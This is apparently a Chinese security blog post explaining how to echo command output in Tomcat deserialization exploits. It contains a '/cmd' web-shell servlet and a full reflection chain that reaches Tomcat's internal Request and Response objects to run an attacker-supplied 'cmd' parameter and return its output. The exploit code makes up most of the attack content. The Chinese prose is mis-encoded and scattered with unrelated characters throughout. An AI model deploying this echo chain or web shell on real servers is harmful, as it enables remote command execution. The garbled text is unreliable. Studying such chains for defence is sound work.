Demo
package com.naihe;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
@WebServlet("/cmd")
public class tomcat extends HttpServlet {
? ? @Override
? ? protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException, IOException {
? ? ? ? String cmd = req.getParameter("cmd");
? ? ? ? InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
? ? ? ? BufferedInputStream bis = new BufferedInputStream(is);
? ? ? ? int len;
? ? ? ? while ((len = bis.read())!=-1){
? ? ? ? ? ? resp.getWriter().write(len);
? ? ? ? }
? ? }
? ? @Override
? ? protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
? ? ? ? this.doGet(req,resp);
? ? }
}
當(dāng)看到這里應(yīng)該會(huì)有人回想,就這?不就是servlet加命令執(zhí)行么谣旁,確實(shí)如此忍宋,但本文主要討論的是在反序列化的情況下,如何進(jìn)行數(shù)據(jù)回顯榄棵,因?yàn)樵诜葱蛄谢┒粗袩o法直接調(diào)用HttpServletRequest和HttpServletResponse,只能通過反射獲取Request和Response中的內(nèi)容,上面的代碼只是為了方便我們?nèi)ネ诰蚝头治鯮equest和Response的傳遞過程胯努,分析出一條回顯鏈
這里的@WebServlet("/cmd")需要開注解路由,在web.xml配置如下
<?xml version="1.0" encoding="UTF-8"?><web-appxmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns="http://xmlns.jcp.org/xml/ns/javaee"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"id="WebApp_ID"metadata-complete="false"version="4.0"><!-- metadata-complete取值為true,表示關(guān)閉注解支持 --><!-- metadata-complete取值為false逢防,表示啟用注解支持 --></web-app>
直接再index.jsp上下斷點(diǎn)
可以看到Http11Processor中已經(jīng)包含了request和response叶沛,可知道,再前面已經(jīng)有其他類處理過了request和response將其內(nèi)容傳給Http11Processor忘朝,因此我們往前看Http11Processor內(nèi)容從何而來
AbstractProcessorLight.process
AbstractProtocol$ConnectionHandler
在這里查看processor內(nèi)容
現(xiàn)在我們看是processor是怎么賦值的
AbstractProtocol$ConnectionHandler
進(jìn)入register方法
register方法大概就是生成一個(gè)RequestInfo對(duì)象然后再里面填充內(nèi)容
這里我們看一下this.global是什么
可以看到是一個(gè)RequestGroupInfo類
進(jìn)入RequestGroupInfo灰署,可以看到有個(gè)processors,是存儲(chǔ)RequestInfo對(duì)象得列表局嘁,接下來看看RequestInfo是什么
進(jìn)入RequestInfo溉箕,發(fā)現(xiàn)里面有個(gè)Request,這是我們想要得那個(gè)Request么导狡,跟進(jìn)去看看
進(jìn)入Request约巷,發(fā)現(xiàn)居然沒有繼承HttpServletResponse,那這應(yīng)該就不是我們要找的Request旱捧,那開發(fā)者不可能取一個(gè)完全沒有關(guān)系得類名吧独郎,這豈不是讓其他程序員天天坐牢啊
通過網(wǎng)上得資料了解到這個(gè)Requests會(huì)調(diào)用getNote方法返回一個(gè)繼承至 HttpServletResponse的Response類
這就是我們要的Response類
接下來我們分析setGlobalProcessor
就是把生成的自己添加到RequestInfo中
RequestInfo
上面如何獲得Request已經(jīng)分析完了,接下來我們分析如何讓java加載上面的數(shù)據(jù)
我們只需要找到一個(gè)類會(huì)被tomcat自動(dòng)加載
在tomcat源碼中可以看到會(huì)調(diào)用service.addConnector枚赡,很明顯會(huì)用到connector
進(jìn)入Connector氓癌,可以發(fā)現(xiàn)ProtocolHandler里面存儲(chǔ)的是Http11NioProtocol
下面就是一下繼承關(guān)系
可以看到最終Http11NioProtocol還是繼承自AbstractProtocol
這樣一來就可以通過ProtocolHandler來存放我們之前的信息了
service只是一個(gè)接口,而StandardService才是其實(shí)現(xiàn)類贫橙,所以說service就是StandardService
因此我們只需要要獲取StandardService就行了
而StandardService可以從WebappClassLoaderBase上下文類加載器中間接獲取獲取
WebappClassLoaderBase只能獲取StandardContext贪婉,而回顯入口為StandardService,因此我們需要使用ApplicationContext將其封裝一遍卢肃,在進(jìn)而獲取StandardService
構(gòu)造方法
standardService為Service的實(shí)現(xiàn)類
package com.naihe;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.List;
@WebServlet("/demo")
public class test extends HttpServlet {
? ? @Override
? ? protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
? ? ? ? org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
? ? ? ? org.apache.catalina.core.StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
? ? ? ? try {
? ? ? ? ? ? Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
? ? ? ? ? ? context.setAccessible(true);
? ? ? ? ? ? ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
? ? ? ? ? ? Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
? ? ? ? ? ? service.setAccessible(true);
? ? ? ? ? ? org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);
? ? ? ? ? ? Field connectors = standardService.getClass().getDeclaredField("connectors");
? ? ? ? ? ? connectors.setAccessible(true);
? ? ? ? ? ? Connector[] connector = (Connector[]) connectors.get(standardService);
? ? ? ? ? ? Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
? ? ? ? ? ? protocolHandler.setAccessible(true);
? ? ? ? ? ? Class<?>[] declaredClasses = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
? ? ? ? ? ? for (Class<?> declaredClass : declaredClasses) {
? ? ? ? ? ? ? ? if (declaredClass.getName().length()==52){
? ? ? ? ? ? ? ? ? ? java.lang.reflect.Method getHandler = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
? ? ? ? ? ? ? ? ? ? getHandler.setAccessible(true);
? ? ? ? ? ? ? ? ? ? Field global = declaredClass.getDeclaredField("global");
? ? ? ? ? ? ? ? ? ? global.setAccessible(true);
? ? ? ? ? ? ? ? ? ? org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(), null));
? ? ? ? ? ? ? ? ? ? Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
? ? ? ? ? ? ? ? ? ? processors.setAccessible(true);
? ? ? ? ? ? ? ? ? ? java.util.List<org.apache.coyote.RequestInfo>? requestInfo = (List<RequestInfo>) processors.get(requestGroupInfo);
? ? ? ? ? ? ? ? ? ? Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
? ? ? ? ? ? ? ? ? ? req1.setAccessible(true);
? ? ? ? ? ? ? ? ? ? for (RequestInfo info : requestInfo) {
? ? ? ? ? ? ? ? ? ? ? ? org.apache.coyote.Request request = (Request) req1.get(info);
? ? ? ? ? ? ? ? ? ? ? ? org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1);
? ? ? ? ? ? ? ? ? ? ? ? org.apache.catalina.connector.Response response = request1.getResponse();
? ? ? ? ? ? ? ? ? ? ? ? String cmd = request1.getParameter("cmd");
? ? ? ? ? ? ? ? ? ? ? ? InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
? ? ? ? ? ? ? ? ? ? ? ? BufferedInputStream bis = new BufferedInputStream(is);
? ? ? ? ? ? ? ? ? ? ? ? int len;
? ? ? ? ? ? ? ? ? ? ? ? while ((len = bis.read())!=-1){
? ? ? ? ? ? ? ? ? ? ? ? ? ? response.getWriter().write(len);
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? }
? ? ? ? ? ? }
? ? ? ? } catch (NoSuchFieldException e) {
? ? ? ? ? ? e.printStackTrace();
? ? ? ? } catch (IllegalAccessException | ClassNotFoundException e) {
? ? ? ? ? ? e.printStackTrace();
? ? ? ? } catch (NoSuchMethodException e) {
? ? ? ? ? ? e.printStackTrace();
? ? ? ? } catch (InvocationTargetException e) {
? ? ? ? ? ? e.printStackTrace();
? ? ? ? }
? ? }
? ? @Override
? ? protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
? ? ? ? this.doGet(req, resp);
? ? }
}